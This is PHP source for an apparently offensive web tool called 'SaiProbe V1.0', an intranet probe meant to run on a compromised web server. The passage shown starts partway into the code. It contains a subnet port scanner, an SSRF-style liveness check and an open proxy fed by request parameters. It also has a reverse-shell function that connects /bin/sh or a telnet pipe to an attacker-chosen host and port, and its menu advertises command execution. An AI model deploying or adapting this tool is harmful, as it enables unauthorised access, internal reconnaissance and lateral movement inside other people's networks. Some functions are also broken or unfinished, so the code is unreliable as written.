port=array('20','21','22','23','69','80','81','110','139','389','443','445','873','1090','1433','1521','2000','2181','3306','3389','5632','5672','6379','7001','8000','8069','8080','8081','9200','10050','10086','11211','27017','28017','50070'); } //url格式处理函数 function urlFilter($url){ $pattern="/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])(\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])){3}$/"; $match=preg_match($pattern,$url); if(!$match){ echo ""; exit("再检查检查吧……"); } $url=str_replace("http://", "",$url); $url=str_replace("/", "",$url); return $url; } function Prepare(){ if($_POST['end']!=""){ $base_url_1=self::urlFilter($_POST['start']); $base_url_2=self::urlFilter($_POST['end']); /*$base_url_1=$_POST['start']; $base_url_2=$_POST['end'];*/ $base_url=array($base_url_1,$base_url_2); self::Scan($base_url,$this->port); }else{ echo ""; } } function outPut(){ } function Scan($base_url,$port){ $start=explode('.',$base_url['0']); $end=explode('.',$base_url['1']); $length=$end['3']-$start['3']; for($i=0;$i<=$length;$i++){ $ip=$start[0].".".$start[1].".".$start[2].".".($start[3]+$i); foreach ($port as $ports) { $ips="$ip:$ports"; //stream_set_blocking($ips, 0); //$result=stream_socket_client($ips,$errno, $errstr,0.1,STREAM_CLIENT_CONNECT); $result=@fsockopen($ip,$ports,$errno,$errstr,0.1); if($result){ echo $ip."---------------------".$ports."端口开放"."
"; flush(); } } } } }//===================================存活探测函数============================== function ssrf($ip,$port=80){ $res=fsockopen($ip,$port,$errno,$errstr,0.2); if($res){ echo "该地址存活的!!!!!!"; }else{ echo "不存活!"; } }//============================端口转发函数===================================== function tansmit($sourceip,$sourceport,$targetip,$targetport){ if(strtsr(php_uname(),'Windows')){ }elseif (strstr(php_uname(), 'Linux')) { }else{ } }//============================Shell反弹函数==================================== function bounce($targetip,$targetport){ if(substr(php_uname(), 0,1)=="W"){ system("php -r '$sock=fsockopen($targetip,$targetport);exec('/bin/sh -i <&3 >&3 2>&3');'"); }elseif (substr(php_uname(), 0,1)=="L") { echo 'linux test'; system('mknod inittab p && telnet {$targetip} {$targetport} 0inittab'); }else{ echo ""; } }//==============================在线代理函数==================================== function proxy($url){ $output=file_get_contents($url); return $output; }//======================================Main=================================== $scan=new portScan(); if(isset($_POST['submit'])){ if($_POST['start']!=""){ $scan->Prepare(); }else{ echo ""; } } if(isset($_GET['ip'])){ $ssrf_ip=$_GET['ip']; if($ssrf_ip!=0){ ssrf($ssrf_ip); } } if(isset($_POST['trans'])) { tranmit($_POST['sourceip'],$_POST['sourceport'],$_POST['targetip'],$_POST['targetport']); } if(isset($_POST['rebound'])){ bounce($_POST['tarip'],$_POST['tarport']); } if (isset($_GET['proxy'])) { $proxy_web=proxy($_GET['proxy']); echo "
".$proxy_web."
"; }?> Sai 内网探针V1.0

SaiProbe V1.0


基本信息|反弹转发|命令执行|端口扫描|存活探测|phpinfo|代理访问|更多功能

基本信息
服务器IP/地址 ()
当前用户
网站目录
探针所在目录
服务器端口
服务器标识
PHP版本
PHP安装路径
Code by Sai